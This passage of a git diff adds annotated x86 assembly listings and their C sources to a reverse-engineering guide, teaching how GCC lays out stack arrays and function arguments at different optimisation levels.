-2048(%ebp),%edx + + movl $511,%ecx + + /* Here is the top of our array */ + leal -4(%ebp),%eax + .p2align 4,,7 +.L21: + + /* *%eax = %ecx;.. Note: 32bit integer operation */ + movl %ecx,(%eax) + + /* move %eax down by 4. We are now sure we're dealing with ints here */ + addl $-4,%eax + + /* Decrement counter */ + decl %ecx + + /* JNS means jump if not signed, ie if the result of the previous + * instruction was not negative. So jump if %ecx >= 0 */ + jns .L21 + + /* So can you predict the results of the following imaginary + * printArray call? Our resulting code is a bit different than + * the original code. Instead of running the loop forwards, the + * optimizer has decided that we should start at index 511, and run + * backwards until %ecx < 0. So the array is still numbered 0..511, we + * just did it in reverse. Pretty strange optimization, eh? + */ + + addl $-12,%esp + pushl %edx + call printArray + leave + ret +.Lfe1: + .size intArray,.Lfe1-intArray + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int1D-full.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int1D-full.s new file mode 100644 index 0000000..01f55c1 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int1D-full.s @@ -0,0 +1,27 @@ + .file "array-stack-int1D.c" + .version "01.01" +gcc2_compiled.: +.text + .align 4 +.globl intArray + .type intArray,@function +intArray: + subl $2060,%esp + movl %esp,%edx + movl $511,%ecx + leal 2044(%esp),%eax + .p2align 4,,7 +.L21: + movl %ecx,(%eax) + addl $-4,%eax + decl %ecx + jns .L21 + addl $-12,%esp + pushl %edx + call printArray + addl $16,%esp + addl $2060,%esp + ret +.Lfe1: + .size intArray,.Lfe1-intArray + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int1D.c b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int1D.c new file mode 100644 index 0000000..c59772b --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int1D.c @@ -0,0 +1,14 @@ +#include + +void intArray() +{ + int buf[512]; + int i; + for(i = 0; i < 512; i++) + buf[i] = i; + + + printArray(buf); + +} + diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int2D-O0.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int2D-O0.s new file mode 100644 index 0000000..d2eabed --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int2D-O0.s @@ -0,0 +1,171 @@ + .file "array-stack-int2D.c" + .version "01.01" +gcc2_compiled.: +.text + .align 4 +.globl intArray2D + .type intArray2D,@function +intArray2D: + pushl %ebp + movl %esp,%ebp + /* Lots of stack space.. Clue that we're working with arrays */ + subl $424,%esp + nop + + /* Give -404(%ebp) the label var1 on your stack sheet, set it 0 */ + /* This also gives us a bound on the total array size.. Most likely + * they specified the array first, then the vars */ + movl $0,-404(%ebp) + .p2align 4,,7 +.L3: + /* Uh oh.. a loop! */ + /* "Jump if var1 le 9" -> Loop while var1 <= 9 */ + cmpl $9,-404(%ebp) + jle .L6 + jmp .L4 + .p2align 4,,7 +.L6: + /* Lable this space var2 */ + movl $0,-408(%ebp) + .p2align 4,,7 +.L7: + + /* Hrmm.. could this be a nested loop? YEP! */ + + /* "Loop while var2 <= 9" */ + cmpl $9,-408(%ebp) + jle .L10 + jmp .L5 + .p2align 4,,7 +.L10: /* Loop body */ + /* move var1 to eax */ + movl -404(%ebp),%eax + /* Jump if var2 ne var1 */ + cmpl -408(%ebp),%eax + jne .L11 + + /* Code executed if (var2 == var1) */ + + /* Put var2 into eax */ + movl -408(%ebp),%eax + movl %eax,%edx + + /* Indexing operation coming! (%eax = var2*4*/ + leal 0(,%edx,4),%eax + + /* put var1 into ecx, then edx */ + movl -404(%ebp),%ecx + movl %ecx,%edx + + /* The sal instruction bitshifts the operand left by the specified + * number. It is basically a faster way of multiplying by powers of 2.*/ + /* %edx *= 4; (edx = var1*4)*/ + sall $2,%edx + + /* %edx = var1 * 5 */ + addl %ecx,%edx + + /* %ecx = var1 * 5 * 8 = var1 * 40 (hrmm.. 40 is 10*4... coincidence?)*/ + leal 0(,%edx,8),%ecx + + + /* %eax = var1*40 + var2*4 */ + addl %ecx,%eax + + /* Put the base of the array into %edx */ + leal -400(%ebp),%edx + + /* put 1 into the address %eax + %edx. You see that gcc likes to use + * the base and index backwards if there is no scale.. Lord only knows.. + * + * The important thing to notice is that we have stored a 1 at memory + * location array + var1*40 + var2*4, and we have done it HORRIBLY + * inefficiently! (A human should have been able to do this with 2 + * leals and an add). + * + * Why 40 and 4? Well, recall that 2D arrays on the + * stack of the form 'type array[dim2][dim1];' + * are represented by a single array of size type*dim1*dim2. So + * visualize long array as being divided into rows now (like text that + * wraps around the screen). To get to the var1 row, we have to go past + * var1*dim1*type cells, and to get to the var2 column, we have to add + * on var2*type cells. Thus array[var1][var2] is + * + * array + var1*dim1*type + var2*type. + */ + movl $1,(%eax,%edx) + jmp .L9 + .p2align 4,,7 +.L11: + /* Else clause to if(var2 == var1) */ + + /* put var2 into eax */ + movl -408(%ebp),%eax + movl %eax,%edx + + /* eax now has var2*4 */ + leal 0(,%edx,4),%eax + + /* ecx has var1 */ + movl -404(%ebp),%ecx + movl %ecx,%edx + + /* edx = var1*4 */ + sall $2,%edx + /* edx = var1*5 (because ecx = var1) */ + addl %ecx,%edx + + /* ecx = var1*40 */ + leal 0(,%edx,8),%ecx + + /* eax = var1*40 + var2*4 */ + addl %ecx,%eax + + /* Base of our array in edx */ + leal -400(%ebp),%edx + + /* put the zero in eax */ + movl $0,(%eax,%edx) +.L12: +.L9: + + /* var2++ */ + incl -408(%ebp) + jmp .L7 + .p2align 4,,7 +.L8: +.L5: + /* var1++ */ + incl -404(%ebp) + jmp .L3 + .p2align 4,,7 +.L4: + + /* So, can you visualize what this code is doing based on the assembly + * we just went through without reverting back to the C code? + * What does the 2D array look like after the program is done? Can you + * draw it in 2D? How about in 1D? How about on the stack? (recall it + * is on the stack) */ + + + /* Answer: + So let's summarize: + We have an outer loop that is iterating over var1 until it hits 10 + We have an inner loop that is iterating over var2 until it hits 10 + The inner loop sets array[var1][var2] to 1 if var1 == var2 + else it sets array[var1][var2] to 0. + + So can you draw the array now? + */ + + addl $-12,%esp + leal -400(%ebp),%eax + pushl %eax + call printArray + addl $16,%esp +.L2: + leave + ret +.Lfe1: + .size intArray2D,.Lfe1-intArray2D + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int2D-O2.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int2D-O2.s new file mode 100644 index 0000000..cd77fcf --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int2D-O2.s @@ -0,0 +1,89 @@ + .file "array-stack-int2D.c" + .version "01.01" +gcc2_compiled.: +.text + .align 4 +.globl intArray2D + .type intArray2D,@function +intArray2D: + pushl %ebp + movl %esp,%ebp + + /* Huge allocation. Must be an array */ + subl $412,%esp + + /* preserve registers */ + pushl %edi + pushl %esi + pushl %ebx + + /* %ebx = 0 */ + xorl %ebx,%ebx + + /* Think about where -400(%ebp) is on the stack, and how it is + * aligned. The fact that it is such a nice number really suggests + * that we have the bottom of an array here + * %eax = array */ + leal -400(%ebp),%eax + + /* So this is kind of odd.. the pointer to the bottom of array is + * being stored on the stack. Just make a note of it and move on. */ + movl %eax,-404(%ebp) + movl %eax,%edi + .p2align 4,,7 +.L21: + /* %ecx = 0 */ + xorl %ecx,%ecx + + /* %edx = %ebx*4 */ + leal 0(,%ebx,4),%edx + + /* %esi = %ebx + 1 */ + leal 1(%ebx),%esi + + /* %eax = %ebx + %edx = %ebx*5 */ + leal (%ebx,%edx),%eax + + /* %eax = %eax*8 = %ebx*40 */ + sall $3,%eax + + /* %edx = %ebx*40 + %ebx*4 */ + addl %eax,%edx + + /* %eax = %ebx*40 + array */ + addl %edi,%eax + .p2align 4,,7 +.L25: + /* if(%ebx != %ecx) jump */ + cmpl %ecx,%ebx + jne .L26 + + /* code executed if(%ebx = %ecx) */ + + /* array + %edx = 1 */ + movl $1,(%edx,%edi) + jmp .L24 + .p2align 4,,7 +.L26: + movl $0,(%eax) +.L24: + addl $4,%eax + incl %ecx + cmpl $9,%ecx + jle .L25 + movl %esi,%ebx + cmpl $9,%ebx + jle .L21 + addl $-12,%esp + movl -404(%ebp),%eax + pushl %eax + call printArray + leal -424(%ebp),%esp + popl %ebx + popl %esi + popl %edi + leave + ret +.Lfe1: + .size intArray2D,.Lfe1-intArray2D + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int2D-full.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int2D-full.s new file mode 100644 index 0000000..89f60d4 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int2D-full.s @@ -0,0 +1,55 @@ + .file "array-stack-int2D.c" + .version "01.01" +gcc2_compiled.: +.text + .align 4 +.globl intArray2D + .type intArray2D,@function +intArray2D: + subl $412,%esp + pushl %ebp + pushl %edi + pushl %esi + pushl %ebx + xorl %ebx,%ebx + leal 16(%esp),%ebp + movl %ebp,%edi + .p2align 4,,7 +.L21: + xorl %ecx,%ecx + leal 0(,%ebx,4),%edx + leal 1(%ebx),%esi + leal (%ebx,%edx),%eax + sall $3,%eax + addl %eax,%edx + addl %edi,%eax + .p2align 4,,7 +.L25: + cmpl %ecx,%ebx + jne .L26 + movl $1,(%edx,%edi) + jmp .L24 + .p2align 4,,7 +.L26: + movl $0,(%eax) +.L24: + addl $4,%eax + incl %ecx + cmpl $9,%ecx + jle .L25 + movl %esi,%ebx + cmpl $9,%ebx + jle .L21 + addl $-12,%esp + pushl %ebp + call printArray + addl $16,%esp + popl %ebx + popl %esi + popl %edi + popl %ebp + addl $412,%esp + ret +.Lfe1: + .size intArray2D,.Lfe1-intArray2D + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int2D.c b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int2D.c new file mode 100644 index 0000000..24c2e51 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int2D.c @@ -0,0 +1,20 @@ +#include + +void intArray2D() +{ + int buf[10][10]; + int i, j; + for(i = 0; i < 10; i++) + { + for(j = 0; j < 10; j++) + { + if(i == j) + buf[i][j] = 1; + else + buf[i][j] = 0; + + } + } + printArray(buf); +} + diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int3D-O0.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int3D-O0.s new file mode 100644 index 0000000..a4e044d --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int3D-O0.s @@ -0,0 +1,182 @@ + .file "array-stack-int3D.c" + .version "01.01" +gcc2_compiled.: +.text + .align 4 +.globl intArray3D + .type intArray3D,@function +intArray3D: + pushl %ebp + movl %esp,%ebp + /* Woah thats a lot of memory */ + subl $1224,%esp + nop + /* Set var1 = 0 */ + movl $0,-1204(%ebp) + .p2align 4,,7 +.L3: + /* While(var1 <= 2) */ + cmpl $2,-1204(%ebp) + jle .L6 + jmp .L4 + .p2align 4,,7 +.L6: + /* set var2 = 0 */ + movl $0,-1208(%ebp) + .p2align 4,,7 +.L7: + /* While(var2 <= 9) */ + cmpl $9,-1208(%ebp) + jle .L10 + jmp .L5 + .p2align 4,,7 +.L10: + /* Set var3 = 0 */ + movl $0,-1212(%ebp) + .p2align 4,,7 +.L11: + /* While(var3 <= 9) */ + cmpl $9,-1212(%ebp) + jle .L14 + jmp .L9 + .p2align 4,,7 +.L14: + /* var2 -> eax */ + movl -1208(%ebp),%eax + + /* if(var2 != var3) then jump*/ + cmpl -1212(%ebp),%eax + jne .L15 + + /* code executed if(var2 == var3) */ + + /* place var3 in eax */ + movl -1212(%ebp),%eax + movl %eax,%edx + + /* eax = var3 *4 */ + leal 0(,%edx,4),%eax + + /* place var2 in ecx */ + movl -1208(%ebp),%ecx + movl %ecx,%edx + + /* edx = var2*4 */ + sall $2,%edx + /* edx = var2*5 */ + addl %ecx,%edx + + /* ecx = var2*40 */ + leal 0(,%edx,8),%ecx + + /* eax = var2*40 + var3 * 4 */ + addl %ecx,%eax + + /* ecx = var1 */ + movl -1204(%ebp),%ecx + movl %ecx,%edx + + /* edx = var1*4 */ + sall $2,%edx + /* edx = var1*5 */ + addl %ecx,%edx + + /* ecx = var1*20 */ + leal 0(,%edx,4),%ecx + + /* edx = var1*25 */ + addl %ecx,%edx + movl %edx,%ecx + + /* ecx = var1*25*16 = var1*100*4 = var1*400 */ + sall $4,%ecx + + /* eax = var1*400 + var2*40 + var3*4 */ + addl %ecx,%eax + + /* edx = base of array */ + leal -1200(%ebp),%edx + + /* ecx = var1 */ + movl -1204(%ebp),%ecx + + /* set *(array + var1*400 + var2*40 + var3*4) = var1. + * So: array[var1][var2][var3] = var1; + * + * Can we guess the dimensions of our array at this point yet? + * + * From the formula given, 400 = dim2*dim1*type, 40 = dim1*type, + * 4=type. + * + * So type is int, dim1 is 10, dim2 is 10, dim3 is unknown. + * For a hint at dim3, what does the loop iterate var1 over? + * It executes so long as var1 <= 2. So our array is probably declared + * as: + * int array[3][10][10]; + */ + movl %ecx,(%eax,%edx) + jmp .L13 + .p2align 4,,7 +.L15: + /* else clause for if(var2 == var3) */ + + /* this is pretty much the same code as above.. with one exception.. */ + movl -1212(%ebp),%eax + movl %eax,%edx + + leal 0(,%edx,4),%eax + movl -1208(%ebp),%ecx + movl %ecx,%edx + sall $2,%edx + addl %ecx,%edx + leal 0(,%edx,8),%ecx + addl %ecx,%eax + movl -1204(%ebp),%ecx + movl %ecx,%edx + sall $2,%edx + addl %ecx,%edx + leal 0(,%edx,4),%ecx + addl %ecx,%edx + movl %edx,%ecx + sall $4,%ecx + addl %ecx,%eax + leal -1200(%ebp),%edx + + /* set *(array + var1*400 + var2*40 + var3*4) = 0 */ + movl $0,(%eax,%edx) +.L16: +.L13: + /* var3++ */ + incl -1212(%ebp) + jmp .L11 + .p2align 4,,7 +.L12: +.L9: + /* var2++ */ + incl -1208(%ebp) + jmp .L7 + .p2align 4,,7 +.L8: +.L5: + /* var1++ */ + incl -1204(%ebp) + jmp .L3 + .p2align 4,,7 +.L4: + + /* So can you visualize what is going on with our 3D array? + * What does it look like? You should be able to do this on your own + * with little to no difficulty now. + */ + + addl $-12,%esp + leal -1200(%ebp),%eax + pushl %eax + call printArray + addl $16,%esp +.L2: + leave + ret +.Lfe1: + .size intArray3D,.Lfe1-intArray3D + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int3D-O2.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int3D-O2.s new file mode 100644 index 0000000..811b9a1 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int3D-O2.s @@ -0,0 +1,73 @@ + .file "array-stack-int3D.c" + .version "01.01" +gcc2_compiled.: +.text + .align 4 +.globl intArray3D + .type intArray3D,@function +intArray3D: + pushl %ebp + movl %esp,%ebp + subl $1228,%esp + pushl %edi + pushl %esi + pushl %ebx + movl $0,-1204(%ebp) + leal -1200(%ebp),%eax + movl %eax,-1212(%ebp) + .p2align 4,,7 +.L21: + xorl %esi,%esi + movl -1204(%ebp),%edx + incl %edx + movl %edx,-1208(%ebp) + movl -1204(%ebp),%edi + leal (%edi,%edi,4),%eax + leal (%eax,%eax,4),%ebx + sall $4,%ebx + .p2align 4,,7 +.L25: + xorl %ecx,%ecx + leal 0(,%esi,4),%edx + leal 1(%esi),%eax + movl %eax,-1216(%ebp) + leal (%esi,%edx),%eax + sall $3,%eax + addl %eax,%edx + addl %ebx,%edx + addl %ebx,%eax + .p2align 4,,7 +.L29: + cmpl %ecx,%esi + jne .L30 + movl -1204(%ebp),%edi + movl %edi,-1200(%edx,%ebp) + jmp .L28 + .p2align 4,,7 +.L30: + movl $0,-1200(%eax,%ebp) +.L28: + addl $4,%eax + incl %ecx + cmpl $9,%ecx + jle .L29 + movl -1216(%ebp),%esi + cmpl $9,%esi + jle .L25 + movl -1208(%ebp),%eax + movl %eax,-1204(%ebp) + cmpl $2,%eax + jle .L21 + addl $-12,%esp + movl -1212(%ebp),%edx + pushl %edx + call printArray + leal -1240(%ebp),%esp + popl %ebx + popl %esi + popl %edi + leave + ret +.Lfe1: + .size intArray3D,.Lfe1-intArray3D + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int3D-full.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int3D-full.s new file mode 100644 index 0000000..35f90fe --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int3D-full.s @@ -0,0 +1,68 @@ + .file "array-stack-int3D.c" + .version "01.01" +gcc2_compiled.: +.text + .align 4 +.globl intArray3D + .type intArray3D,@function +intArray3D: + subl $1228,%esp + pushl %ebp + pushl %edi + pushl %esi + pushl %ebx + xorl %ebp,%ebp + leal 32(%esp),%eax + movl %eax,24(%esp) + .p2align 4,,7 +.L21: + xorl %esi,%esi + leal 1(%ebp),%eax + movl %eax,28(%esp) + leal (%ebp,%ebp,4),%eax + leal (%eax,%eax,4),%ebx + sall $4,%ebx + .p2align 4,,7 +.L25: + xorl %ecx,%ecx + leal 0(,%esi,4),%edx + leal 1(%esi),%edi + leal (%esi,%edx),%eax + sall $3,%eax + addl %eax,%edx + addl %ebx,%edx + addl %ebx,%eax + .p2align 4,,7 +.L29: + cmpl %ecx,%esi + jne .L30 + movl %ebp,32(%esp,%edx) + jmp .L28 + .p2align 4,,7 +.L30: + movl $0,32(%esp,%eax) +.L28: + addl $4,%eax + incl %ecx + cmpl $9,%ecx + jle .L29 + movl %edi,%esi + cmpl $9,%esi + jle .L25 + movl 28(%esp),%ebp + cmpl $2,%ebp + jle .L21 + addl $-12,%esp + movl 36(%esp),%eax + pushl %eax + call printArray + addl $16,%esp + popl %ebx + popl %esi + popl %edi + popl %ebp + addl $1228,%esp + ret +.Lfe1: + .size intArray3D,.Lfe1-intArray3D + .ident "GCC: (GNU) 2.95.4 (Debian prerelease)" diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int3D.c b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int3D.c new file mode 100644 index 0000000..5bf6d64 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/arrays/stack/array-stack-int3D.c @@ -0,0 +1,23 @@ +#include + +void intArray3D() +{ + int buf[3][10][10]; + int h, i, j; + + for(h = 0; h < 3; h++) + { + for(i = 0; i < 10; i++) + { + for(j = 0; j < 10; j++) + { + if(i == j) + buf[h][i][j] = h; + else + buf[h][i][j] = 0; + + } + } + } + printArray(buf); +} diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/functions/functions-O0.s b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/functions/functions-O0.s new file mode 100644 index 0000000..483e5df --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/examples/UnderstandingAsm/functions/functions-O0.s @@ -0,0 +1,424 @@ + .file "functions.c" + .version "01.01" +gcc2_compiled.: +.section .rodata +.LC0: + .string "%d, %d, %d\n" +.text + .align 4 +.globl function3args + .type function3args,@function +function3args: + /* This push saves the ebp, and in combination with the move is called + * the function prolog. */ + pushl %ebp /* at (%ebp) on the stack */ + movl %esp,%ebp + + /* This subl is used to allocate space for any local variables. In + * this case we have none, and we can see the fact that this + * instruction is useless because no stack references are negative + * offsets from the %ebp (visualize or draw the stack to see this). + * I'm not sure why GCC does this. */ + subl $8,%esp + /* (%esp) == -8(%ebp) */ + + /* remember our comments. This instruction copies the last argument of + * the function to %eax*/ + movl 16(%ebp),%eax + + /* push this value as the last argument to the printf call. + * Note: This is why we have an %ebp register, because this push will + * affect the %esp, not the %ebp, and our references to local + * variables all remain the same still. */ + pushl %eax + /* (%esp) == -12(%ebp) */ + + /* Now access the second argument of the function, and push it */ + movl 12(%ebp),%eax + pushl %eax + /* (%esp) == -16(%ebp) */ + + /* Access the first argument of the function. Remember that the + * remaining two things below 8(%ebp) are the return address at + * 4(%ebp) and the old value of %ebp, which is at (%ebp) */ + movl 8(%ebp),%eax + pushl %eax + /* (%esp) == -20(%ebp) */ + + /* Push the string onto the stack */ + pushl $.LC0 + /* (%esp) == -24(%ebp) */ + call printf + /* (%esp) == -24(%ebp) because the stack is reset fixed after a call */ + + /* Again, "pop" all 16 bytes of arguments off the stack */ + addl $16,%esp + + /* (%esp) == -8(%ebp) */ + +.L2: + /* Leave copies the value of %ebp into %esp, effectively popping all + * extra local variables and junk off the stack. It then pops the top + * value off the stack (which is the saved %ebp) and stores it in %ebp + * + * So it is basically the reverse of the function + * prolog, and implicityly removes any local variables and junk that + * GCC may have thrown on the stack. This is key, because GCC loves to + * throw junk on the stack for no reason. It is all taken care of at + * function exit because of this instruction */ + leave + + /* (%esp) == (%ebp) == (old %ebp) just after call */ + + /* pops the return address saved on the stack into %eip, and thus + * execution transfers to just after the call */ + ret +.Lfe1: + .size function3args,.Lfe1-function3args + .align 4 +.globl function3argsRet + .type function3argsRet,@function +function3argsRet: + pushl %ebp + movl %esp,%ebp + + /* Move the first argument to %edx */ + /* The first argument is at 8 above the ebp. Ie it as at the lowest + * address of all arguments. The rest are at higher address */ + movl 8(%ebp),%edx + + /* multiply the second argument with %edx, store in %edx */ + imull 12(%ebp),%edx + + /* multiply the third argument with %edx, store in %edx */ + imull 16(%ebp),%edx + + /* Move %edx to %eax. %eax is the return value */ + movl %edx,%eax + + /* Alignment junk */ + jmp .L3 + .p2align 4,,7 +.L3: + leave + ret +.Lfe2: + .size function3argsRet,.Lfe2-function3argsRet + .align 4 +.globl functionPtrArg + .type functionPtrArg,@function +functionPtrArg: + pushl %ebp + movl %esp,%ebp + subl $8,%esp + + /* move the third argument (the pointer) into eax */ + movl 16(%ebp),%eax + + /* derefrence it. Remember how I said that leal does not deref, but + * mov does? */ + movl (%eax),%edx + + /* push the rest of the args, and call printf */ + pushl %edx + movl 12(%ebp),%eax + pushl %eax + movl 8(%ebp),%eax + pushl %eax + pushl $.LC0 + call printf + addl $16,%esp +.L4: + leave + ret +.Lfe3: + .size functionPtrArg,.Lfe3-functionPtrArg + .align 4 +.globl functionPtrRet + .type functionPtrRet,@function +functionPtrRet: + pushl %ebp + movl %esp,%ebp + + /* Put the first argument of our function */ + movl 8(%ebp),%eax + movl %eax,%edx + + /* put the address made by 0 + %edx*4 into register %eax */ + leal 0(,%edx,4),%eax + movl %eax,%edx + + /* Add the third argument of our function (the pointer) to the result */ + addl 16(%ebp),%edx + + /* Put the second arg into eax */ + movl 12(%ebp),%eax + movl %eax,%ecx + + /* put the address 0 + %ecx*4 into %eax. */ + leal 0(,%ecx,4),%eax + + /* add %eax to %edx, store in %edx. + * If you were keeping track of the registers like you should have been, + * you should now realize that %edx contains pointer + second_arg*4 + + * third_ard*4. In other words, we know pointer is an integer pointer + * because the scale was 4 during all the pointer arithmetic */ + addl %eax,%edx + + /* Put the result into the return value register %eax */ + movl %edx,%eax + jmp .L5 + .p2align 4,,7 +.L5: + leave + ret +.Lfe4: + .size functionPtrRet,.Lfe4-functionPtrRet + .align 4 +.globl functionLocalVars + .type functionLocalVars,@function +functionLocalVars: + pushl %ebp + movl %esp, %ebp + /* so this is enough space for 4 integer variables, but sometimes GCC + * allocates more space than it needs, especially in recent versions. + * Note in this case, we have only THREE variables in our function. + * But we will actually get to see GCC use this magic local variable + * in a bit. Most times we aren't so lucky. */ + subl $16, %esp + + /* recall 12 from ebp is the second 4-byte function argument (note + * that if this function had non-integer arguments, 12(%ebp) might be + * like the 3rd or 5th argument. Just something to keep in mind) */ + movl 12(%ebp), %eax + + /* XOR the second function arg with the first function arg */ + xorl 8(%ebp), %eax + + /* Store it in the first local variable. So the first local variable + * now contains arg1 ^ arg2. This update of a local variable should + * clue you into the completetion of a C statement. + * In this case, we have determined that the statement was + * local1 = arg1 ^ arg2; + */ + movl %eax, -4(%ebp) + + + + /* put the first arg into %edx */ + movl 8(%ebp), %edx + + /* Take the address of the second function arg.. */ + leal 12(%ebp), %eax + + /* put it into what appears to be the fourth local variable (again, + * it could be the the 9th, 17th, etc) + * + * HOWEVER, NOTE: We do NOT have 4 local variables in the + * corresponding C code. GCC has created a temporary here to do the + * calculation. This is further evidence of non-optimized code. */ + movl %eax, -16(%ebp) + + /* check your sheet for %edx */ + movl %edx, %eax + + /* Move the fourth local variable into %ecx. So, following your sheet, + * %ecx now contains the address of the second function arg. */ + movl -16(%ebp), %ecx + + /* FIXME: BUH? */ + cltd + + /* So here's an odd intruction. Basically, if you check the Intel + * Instruction set reference, you see that idiv takes a single + * argument of either a register %reg or an indirected register (ie a + * register containing a memory location, (%reg)) and then divides + * %eax by the value in %reg or at memory location (%reg). The result is + * stored in %eax, and the remainder is in %edx. + */ + + /* Do: %eax = %eax/(%ecx); %edx = %eax MOD (%ecx); + * so from your sheet, %eax = arg1/arg2; %edx = arg1 MOD arg2 */ + idivl (%ecx) + + /* Move result to second local variable. So local2 = arg1 / arg2; */ + movl %eax, -8(%ebp) + + + + /* Move first arg to %edx */ + movl 8(%ebp), %edx + + /* Put the address of the second arg into %eax */ + leal 12(%ebp), %eax + + /* Use that temporary variable again */ + movl %eax, -16(%ebp) + movl %edx, %eax + movl -16(%ebp), %ecx + + cltd + + /* %eax = %eax/(%ecx); %edx = %eax MOD (%ecx); + * So, %eax = arg1/arg2; %edx = arg1 MOD arg2; + */ + idivl (%ecx) + + /* Store %edx into third local variable. So local3 = arg1 MOD arg2; */ + movl %edx, -12(%ebp) + + + + /* Put the local2 into %eax */ + movl -8(%ebp), %eax + + /* %eax = local1 | %eax */ + orl -4(%ebp), %eax + + /* local3 = local1 | local2 */ + movl %eax, -12(%ebp) + + /* Put local2 into eax */ + movl -12(%ebp), %eax + + /* %eax = local1 & local2 */ + andl 8(%ebp), %eax + + /* Junk instruction that says return %eax */ + movl %eax, %eax + leave + ret +.Lfe5: + .size functionLocalVars,.Lfe5-functionLocalVars + .align 4 +.globl main + .type main,@function +main: + /* save ebp */ + pushl %ebp + + /* move esp to ebp so we can access vars from ebp */ + movl %esp,%ebp + + /* allocate stack space.. Notice that gcc likes to allocate WAY more + * space than it needs in some cases.. why this is, I don't know. + * We really only need 4 bytes of space here for our int a, and a + * quick scroll through the function shows that -4(%ebp) is the only + * local variable we use */ + subl $24,%esp +#APP + nop +#NO_APP + /* So here we see that GCC pushes some mystery arg onto the stack, + * and then the three arguments in reverse order, followed by the call + * to function3args. Remember that the call instruction places the + * address of the next instruction onto the stack. So at the entrance + * to function3args, esp points to the return address, and we have 20 + * bytes above the esp, including ret and the mystery argument. + * + * However, since we are working on source generated without + * -fomit-frame-pointer, there will be a push of the ebp, and then the + * esp will be copied to ebp, and variables will be referenced from the + * ebp. + */ + addl $-4,%esp /* 20(%ebp) after prolog */ + pushl $3 /* 16(ebp) */ + pushl $2 /* 12(%ebp) */ + pushl $1 /* 8(%ebp) */ + call function3args /* 4(%ebp) */ + + /* Go to function3args and see the comments there to see these + * variables in action */ + + /* This stack ajustment is the same as popping all 4 arguments off the + * stack, ie the 3 integers and the mystery arg. */ + addl $16,%esp +#APP + nop +#NO_APP + + /* So this function is the same exact deal as the previous, except we + * have a return value. GCC uses the eax register to store the return + * value of a function. + * A good excercise would be to follow the stack along yourself with + * a sheet of paper for this example. */ + addl $-4,%esp + pushl $3 + pushl $2 + pushl $1 + call function3argsRet + addl $16,%esp + + /* Junk instruction, unoptimized code */ + movl %eax,%eax + + /* Notice now that %eax is copied into the first local variable */ + movl %eax,-4(%ebp) +#APP + nop +#NO_APP + + /* This function exists as an example of what happens when you have a + * pointer as an argument. */ + addl $-4,%esp + + /* the lea instruction loads the effective address of its first + * argument and places it in the second. In other words, it simply + * adds the offset to the register being indexed, and then moves that + * into the destination. + * + * It is easy to become confused with this instruction, because it + * actually does NOT derefrence the first arg, where as a mov does. + */ + + /* 